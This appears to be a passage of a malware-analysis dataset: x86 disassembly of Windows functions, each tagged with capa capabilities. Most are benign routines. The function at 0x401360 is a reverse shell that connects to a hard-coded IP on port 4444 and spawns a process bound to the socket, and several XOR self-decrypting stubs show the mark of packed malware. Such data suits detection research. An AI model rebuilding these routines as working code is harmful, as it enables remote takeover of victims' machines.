joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d80b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push edi
push 7
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x2b]
mov byte [ebp - 0x2c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0x20
cmp eax, ebx
je 0x40d8d7
cmp dword [ebp + 0xc], ebx
je 0x40d8d7
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov byte [eax], bl
lea eax, [ebp - 8]
push eax
push 0x20019
push ebx
push str.SoftwareNetscapeNetscape_Navigator
push 0x80000002
call edi
test eax, eax
jne 0x40d8d7
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x2c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
push ebx
push ebx
push str.CurrentVersion
push dword [ebp - 8]
call esi
test eax, eax
jne 0x40d8cd
push 0x1f
lea eax, [ebp - 0x2c]
push str.Main
push eax
call fcn.0041a487
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x20019
lea eax, [ebp - 0x2c]
push ebx
push eax
push dword [ebp - 8]
call edi
test eax, eax
jne 0x40d8cd
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push ebx
push ebx
push str.Plugins_Directory
push dword [ebp - 0xc]
call esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop edi
pop ebx
leave
ret

Function at 0x40de5f
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ebx, ebx
push str.Kernel32.DLL
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
call edi
push str.User32.DLL
mov dword [esi + 0x1c], eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x1c]
cmp eax, ebx
je 0x40dede
push str.GetNativeSystemInfo
push eax
call edi
push str.IsWow64Process
mov dword [esi + 4], eax
push dword [esi + 0x1c]
call edi
push str.IsWow64Process2
mov dword [esi + 8], eax
push dword [esi + 0x1c]
call edi
push str.Wow64EnableWow64FsRedirection
mov dword [esi + 0xc], eax
push dword [esi + 0x1c]
call edi
push str.GetSystemWow64DirectoryA
mov dword [esi + 0x10], eax
push dword [esi + 0x1c]
call edi
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x20]
cmp eax, ebx
je 0x40def0
push str.IsWow64Message
push eax
call edi
mov dword [esi + 0x18], eax
pop edi
pop esi
pop ebx
ret

Function at 0x40e1ac
Capabilities:
Read file on windows

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
call fcn.00420c4f
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e1cd
call fcn.0041bbc9
mov eax, dword [eax]
ret
sub eax, dword [esp + 0xc]
neg eax
sbb eax, eax
and eax, 5
ret
Function at 0x40e4f2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 4], 0
push esi
push 0x8002
push dword [ebp + 8]
call fcn.0041bc64
mov esi, eax
pop ecx
cmp esi, 0xffffffff
pop ecx
jne 0x40e51f
call fcn.0041bbc9
mov eax, dword [eax]
jmp 0x40e5b9
push edi
push 2
push 0
push esi
call fcn.00422e86
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
je 0x40e54b
cmp edi, 0x11
jl 0x40e5ae
push 2
push 0xffffffffffffffef
push esi
call fcn.00422e86
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40e554
mov dword [ebp - 4], 5
jmp 0x40e5ae
lea eax, [ebp - 0x18]
push 0x11
push eax
push esi
call fcn.00420c4f
add esp, 0xc
cmp eax, 0x11
jne 0x40e59c
lea eax, [ebp - 0x18]
push 8
push eax
push str._AHNEND:_08X_
call fcn.0041aca0
add esp, 0xc
test eax, eax
jne 0x40e5ae
add edi, 0xffffffef
push edi
push esi
call fcn.00422d08
pop ecx
cmp eax, 0xffffffff
pop ecx
jne 0x40e5ae
call fcn.0041bbc9
mov eax, dword [eax]
mov dword [ebp - 4], eax
jmp 0x40e5ae
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
dec ecx
and ecx, 4
add ecx, 5
mov dword [ebp - 4], ecx
push esi
call fcn.00420878
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop esi
leave
ret

Function at 0x40e6b6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
xor esi, esi
cmp dword [ebp + 8], esi
push edi
mov dword [ebx], esi
jne 0x40e6d0
mov dword [ebx], 0x16
jmp 0x40e70c
push 0x8000
push dword [ebp + 8]
call fcn.0041bc64
mov edi, eax
pop ecx
cmp edi, 0xffffffff
pop ecx
mov dword [ebp + 8], edi
je 0x40e703
push 2
push esi
push edi
call fcn.00422e86
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
jne 0x40e710
push edi
call fcn.00420878
pop ecx
call fcn.0041bbc9
mov eax, dword [eax]
mov dword [ebx], eax
xor eax, eax
jmp 0x40e779
push 0
push 0
push edi
call fcn.00422e86
lea eax, [esi + 2]
push eax
call fcn.00419406
mov edi, eax
add esp, 0x10
test edi, edi
je 0x40e756
push esi
push edi
push dword [ebp + 8]
call fcn.00420c4f
add esp, 0xc
cmp eax, esi
jne 0x40e74b
and byte [edi + esi], 0
and byte [edi + esi + 1], 0
lea eax, [edi + esi]
jmp 0x40e75c
call fcn.0041bbc9
mov eax, dword [eax]
mov dword [ebx], eax
jmp 0x40e75c
mov dword [ebx], 0xc
push dword [ebp + 8]
call fcn.00420878
cmp dword [ebx], 0
pop ecx
je 0x40e777
test edi, edi
je 0x40e777
push edi
call fcn.00419540
pop ecx
xor edi, edi
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x40eb7a
Capabilities:
Get common file path

Disassembly:
push str.Kernel32.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x40ebbd
push str.GetSystemWindowsDirectoryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40ebbd
push dword [esp + 8]
push dword [esp + 8]
call eax
test eax, eax
jne 0x40ebcb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.AIL:GetSystemWindowsDirectory_err_d
push 1
call fcn.004036f0
add esp, 0xc
push dword [esp + 8]
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
ret
Function at 0x40ed2a
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x40ed38
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
cmp word [ebp + 0x10], 0
not eax
je 0x40ed69
push esi
movzx edx, byte [ecx]
movzx esi, al
add dword [ebp + 0x10], 0xffff
xor edx, esi
shr eax, 8
mov edx, dword [edx*4 + 0x431f08]
xor eax, edx
inc ecx
cmp word [ebp + 0x10], 0
jne 0x40ed45
pop esi
not eax
pop ebp
ret

Function at 0x40ee0c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0040dde4
mov edi, eax
test edi, edi
je 0x40ee56
mov ecx, edi
call fcn.0040def4
mov esi, dword [ebp + 0x1c]
push eax
push esi
push edi
push 0x432308
push 1
call fcn.004036f0
add esp, 0x14
mov ecx, edi
call fcn.0040def4
test eax, eax
je 0x40ee56
neg esi
sbb esi, esi
and esi, 0xffffff00
add esi, 0x20219
jmp 0x40ee5b
mov esi, 0x20019
test edi, edi
je 0x40ee67
mov eax, dword [edi]
push 1
mov ecx, edi
call dword [eax]
lea eax, [ebp - 4]
push eax
push esi
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40eea0
lea eax, [ebp + 0x18]
push eax
push dword [ebp + 0x14]
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x40f580
Capabilities:
Terminate process

Disassembly:
push esi
call fcn.00411c80
mov esi, dword [esp + 8]
push eax
push esi
push str._n_nbzip2_libbzip2:_internal_error_number__d._nThis_is_a_bug_in_bzip2_libbzip2___s._nPlease_report_it_to:_bzip2_devel_sourceware.org.__If_this_happened_nwhen_you_were_using_some_program_which_uses_libbzip2_as_a_ncomponent__you_should_also_report_this_bug_to_the_author_s__nof_that_program.__Please_make_an_effort_to_report_this_bug__ntimely_and_accurate_bug_reports_eventually_lead_to_higher_nquality_software.__Thanks._n_n
push 0x433ca0
call fcn.0041c17e
add esp, 0x10
cmp esi, 0x3ef
pop esi
jne 0x40f5b9
push str._n_A_special_note_about_internal_error_number_1007__n_nExperience_suggests_that_a_common_cause_of_i.e._1007_nis_unreliable_memory_or_other_hardware.__The_1007_assertion_njust_happens_to_cross_check_the_results_of_huge_numbers_of_nmemory_reads_writes__and_so_acts__unintendedly__as_a_stress_ntest_of_your_memory_system._n_nI_suggest_the_following:_try_compressing_the_file_again__npossibly_monitoring_progress_in_detail_with_the__vv_flag._n_n_If_the_error_cannot_be_reproduced__and_or_happens_at_different_n__points_in_compression__you_may_have_a_flaky_memory_system._n__Try_a_memory_test_program.__I_have_used_Memtest86_n___www.memtest86.com_.__At_the_time_of_writing_it_is_free__GPLd_._n__Memtest86_tests_memory_much_more_thorougly_than_your_BIOSs_n__power_on_test__and_may_find_failures_that_the_BIOS_doesnt._n_n_If_the_error_can_be_repeatably_reproduced__this_is_a_bug_in_n__bzip2__and_I_would_very_much_like_to_hear_about_it.__Please_n__let_me_know__and__ideally__save_a_copy_of_the_file_causing_the_n__problem____without_which_I_will_be_unable_to_investigate_it._n_n
push 0x433ca0
call fcn.0041c17e
add esp, 8
push 3
call fcn.0041c06d
Function at 0x41a40e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41a42e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041bb56
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x41a451
test byte [esp + 8], 2
je 0x41a451
call fcn.0041bbc9
mov dword [eax], 0xd
call fcn.0041bbd2
mov dword [eax], 5
jmp 0x41a42a
xor eax, eax
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401360
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x234
call sym.___main
lea eax, [ebp - 0x1a0]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
test eax, eax
je 0x4013bc
mov dword [esp + 8], 0x1b
mov dword [esp + 4], str._ERROR__WSASturtup_failed._n
mov dword [esp], 2
call sym._write
mov eax, 1
jmp 0x40152a
mov dword [ebp - 0xc], 0x115c
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._WSASocketA_24
sub esp, 0x18
mov dword [ebp - 0x10], eax
mov word [ebp - 0x1b0], 2
mov eax, dword [ebp - 0xc]
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1ae], ax
mov dword [esp], str.10.12.202.134
call sym._inet_addr_4
sub esp, 4
mov dword [ebp - 0x1ac], eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1b0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
test eax, eax
je 0x40147d
mov dword [esp + 8], 0x18
mov dword [esp + 4], str._ERROR__connect_failed._n
mov dword [esp], 2
call sym._write
mov eax, 1
jmp 0x40152a
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x1f4]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x1f4], 0x44
mov dword [ebp - 0x1c8], 0x100
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1b4], eax
lea eax, [ebp - 0x204]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x1f4]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x406043
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x401ca0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40802c
call sym._EnterCriticalSection_4
mov ebx, dword [0x408024]
sub esp, 4
test ebx, ebx
je 0x401ceb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401ce4
test esi, esi
je 0x401ce4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401cc0
mov dword [esp], 0x40802c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401ed0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
lea esi, [esp + 0x24]
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401f20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, edx
push esi
mov esi, ecx
push ebx
mov ebx, eax
sub esp, 0x3c
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401ff4
mov eax, dword [esp + 0x28]
cmp eax, 0x40
je 0x401f5e
cmp eax, 4
jne 0x401f80
test esi, esi
je 0x401f72
xor eax, eax
movzx ecx, byte [edi + eax]
mov byte [ebx + eax], cl
add eax, 1
cmp eax, esi
jb 0x401f64
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x20]
lea ebp, [esp + 0x10]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov ecx, dword [esp + 0x28]
test esi, esi
je 0x401fbf
xor edx, edx
movzx eax, byte [edi + edx]
mov byte [ebx + edx], al
add edx, 1
cmp edx, esi
jb 0x401fb1
cmp ecx, 0x40
je 0x401f72
cmp ecx, 4
je 0x401f72
mov eax, dword [esp + 0x10]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401ed0
lea esi, [esi]
Function at 0x4ad1ea8f
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x624
mov eax, dword [0x4ad33b78]
push esi
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x210]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ecx
push eax
call fcn.4ad08d61
test al, al
jne 0x4ad1eac1
xor eax, eax
jmp 0x4ad1ebd1
push edi
lea eax, [ebp - 0x210]
push 0x4ad0136c
push eax
call dword [sym.imp.msvcrt.dll_wcscat]
pop ecx
pop ecx
xor edi, edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x624]
push eax
push 0x104
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x4ad1eb29
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x90
jne 0x4ad1eb16
xor eax, eax
jmp 0x4ad1ebd0
push edi
call esi
push eax
call fcn.4ad05fb5
pop ecx
xor eax, eax
pop ecx
inc eax
jmp 0x4ad1ebd0
cmp word [ebp - 0x210], 0x5c
jne 0x4ad1eb44
lea eax, [ebp - 0x210]
push eax
call fcn.4ad01a79
mov word [eax], di
jmp 0x4ad1eb4b
mov word [ebp - 0x20e], di
cmp word [ebp - 0x41c], di
je 0x4ad1eb74
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x210]
push eax
push 2
push 0x235f
push esi
call fcn.4ad1ce7c
add esp, 0x14
jmp 0x4ad1eb8b
lea eax, [ebp - 0x210]
push eax
push 1
push 0x235e
push esi
call fcn.4ad1ce7c
add esp, 0x10
cmp eax, edi
jne 0x4ad1ebd0
mov eax, dword [ebp - 0x624]
mov ecx, eax
and ecx, 0xffff
push ecx
shr eax, 0x10
push eax
push 0x4ad3d8d4
lea eax, [ebp - 0x61c]
push 0x100
push eax
call dword [sym.imp.msvcrt.dll__snwprintf]
lea eax, [ebp - 0x61c]
push eax
push 1
push 0x235b
push esi
call fcn.4ad1ce7c
add esp, 0x24
pop edi
mov ecx, dword [ebp - 4]
pop esi
call fcn.4ad01305
leave
ret 8

Function at 0x4ad1efd9
Capabilities:
Get disk size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [0x4ad33b78]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push esi
mov dword [ebp - 4], eax
call fcn.4ad0ff25
test edi, edi
je 0x4ad1f00e
lea eax, [ebp - 0x210]
push edi
push eax
call dword [sym.imp.msvcrt.dll_wcscpy]
pop ecx
pop ecx
lea eax, [ebp - 0x210]
push eax
call fcn.4ad1ea63
test eax, eax
je 0x4ad1f032
lea eax, [ebp - 0x210]
push 0x4ad0136c
push eax
call dword [sym.imp.msvcrt.dll_wcscat]
pop ecx
pop ecx
and dword [ebp - 0x214], 0
and dword [ebp - 0x218], 0
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 6
push esi
call fcn.4ad1cdef
lea eax, [ebp - 0x210]
push eax
push 0xe
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 0x10]
call fcn.4ad1ebe3
lea eax, [ebp - 0x210]
push eax
push dword [ebp + 0x14]
push 0x4ad19334
call fcn.4ad0ca1d
push eax
push 2
push 0x2379
push esi
call fcn.4ad1ce7c
mov ecx, dword [ebp - 4]
add esp, 0x14
pop edi
pop esi
call fcn.4ad01305
leave
ret 0x10

Function at 0x42b1a4
Capabilities:
Terminate process

Disassembly:
jmp 0x42e210
jmp fcn.0042f000
cmp ecx, dword [0x493020]
jne 0x42e21a
repz ret
jmp 0x42b640
Function at 0x9340f8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x934102
pushal
call 0x934108
pop ebp
sub ebp, 0x10
sub ebp, 0x5340f8
jmp 0x93411e
mov eax, 0x5340f8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5be
mov edx, 0xc83cd548
xor byte [eax], dl
inc eax
dec ecx
jne 0x934135
jmp 0x934148
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402890
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov eax, dword [esi]
test eax, eax
je 0x4028aa
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esi], 0
mov eax, dword [ebp + 8]
lea ebx, [esi + 0xc]
push ebx
push eax
mov dword [esi + 0x10], 0
mov dword [ebx], 0
mov byte [esi + 0x14], 0
mov byte [esi + 0x15], 0
mov byte [esi + 0x16], 0
mov byte [esi + 0x17], 0
mov dword [esi + 8], eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [esi], eax
test eax, eax
je 0x40299b
push edi
mov edi, 1
cmp dword [ebx], edi
jle 0x40298a
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov eax, dword [esi]
mov ecx, dword [eax + edi*4]
push 0x401398
push ecx
call ebx
test eax, eax
jne 0x40290c
mov dword [esi + 4], eax
jmp 0x402980
mov edx, dword [esi]
mov eax, dword [edx + edi*4]
push 0x401384
push eax
call ebx
test eax, eax
jne 0x402923
mov byte [esi + 0x14], 1
jmp 0x402980
mov ecx, dword [esi]
mov edx, dword [ecx + edi*4]
push 0x401364
push edx
call ebx
test eax, eax
jne 0x40293a
mov byte [esi + 0x15], 1
jmp 0x402980
mov eax, dword [esi]
mov ecx, dword [eax + edi*4]
push 0x401344
push ecx
call ebx
test eax, eax
jne 0x402951
mov byte [esi + 0x16], 1
jmp 0x402980
mov edx, dword [esi]
mov eax, dword [edx + edi*4]
push 0x401324
push eax
call ebx
test eax, eax
jne 0x402968
mov byte [esi + 0x17], 1
jmp 0x402980
mov ecx, dword [esi]
mov edx, dword [ecx + edi*4]
push 0x401310
push edx
call ebx
test eax, eax
jne 0x402980
mov dword [esi + 0x10], 1
inc edi
cmp edi, dword [esi + 0xc]
jl 0x4028f6
cmp byte [esi + 0x16], 0
pop edi
jne 0x40299b
cmp byte [esi + 0x15], 0
sete al
mov byte [esi + 0x14], al
xor eax, eax
cmp dword [esi], eax
pop esi
setne al
pop ebx
pop ebp
ret 4

Function at 0x402ce0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x40bc60]
sub esp, 0x208
push ebx
push esi
push edi
test eax, eax
jne 0x402d6d
push 0x206
push eax
lea eax, [ebp - 0x206]
push eax
call fcn.00403180
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
add esp, 0xc
xor esi, esi
jmp 0x402d20
mov eax, dword [esi + 0x4013d4]
push 0x104
lea edx, [ebp - 0x208]
push edx
xor ecx, ecx
push eax
mov word [ebp - 0x208], cx
call edi
dec eax
cmp eax, 0x103
ja 0x402d5a
push 8
push 0
lea ecx, [ebp - 0x208]
push ecx
call ebx
mov dword [0x40bc60], eax
jmp 0x402d5f
mov eax, dword [0x40bc60]
test eax, eax
jne 0x402d6d
add esi, 4
cmp esi, 0xc
jb 0x402d20
jmp 0x402da5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4013c8
push eax
call esi
mov edx, dword [0x40bc60]
push 0x4013bc
push edx
mov dword [0x40bc64], eax
call esi
mov dword [0x40bc68], eax
mov eax, dword [0x40bc60]
push 0x4013b4
push eax
call esi
mov dword [0x40bc6c], eax
cmp dword [0x40bc64], 0
pop edi
pop esi
pop ebx
je 0x402dcc
cmp dword [0x40bc68], 0
je 0x402dcc
cmp dword [0x40bc6c], 0
je 0x402dcc
mov eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret